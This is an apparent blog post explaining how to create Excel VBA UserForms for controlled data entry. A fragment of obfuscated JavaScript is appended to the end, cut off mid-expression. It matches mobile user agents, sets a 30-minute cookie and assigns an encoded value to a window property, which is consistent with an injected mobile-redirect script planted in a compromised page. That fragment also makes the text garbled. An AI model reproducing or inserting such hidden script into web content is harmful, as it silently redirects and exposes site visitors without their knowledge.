Creating a form for data entry

Have you ever created a Workbook in Excel as part of a business process and defined how you wanted people to enter the data just to find that they disregard your method and just put the information anywhere. This can be frustrating but will involve you being the one who has to reformat the data.

In this scenario I find it makes sense to control how people enter the data. If I give people a form to enter the data I can validate it and control where it gets added. The following is a very simple example of a form (and yes I am using an example from the online course):

The above is a good example of the advantages of using forms. The lists are being populated from other sheets that could also be hidden. You should never have to manually look up a code in another sheet when you can pick it from a friendly list.

Once the data is entered we can then add it to the correct sheet in the correct location so no more having to reformat the data. Now with Excel 2010 and 2013 we can add our own tabs to the Ribbon and have a button that brings up the form or even have an auto open macro that opens the form when the Workbook is opened or a specific Worksheet is selected.

If you want to try creating your own forms you will need to open the Microsoft Visual Basic for Applications editor using either the Developer tab on the Ribbon or the shortcut ALT+F11. You can then right click over VBAProject and select Insert + UserForm.

This should create a new blank form and also should display the Toolbox:

This allows you to add Buttons, Lists, Text Boxes and other input controls to present to the user. If you want to test your form you can press the F5 key and the form should be displayed over the currently active sheet in Excel.

There really is no limit to the things you can do using Macros and Excel VBA all you need is time and practice to master this advanced topic and then the imagination to put into place your own custom functionality to make using Excel for your needs easier.

h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}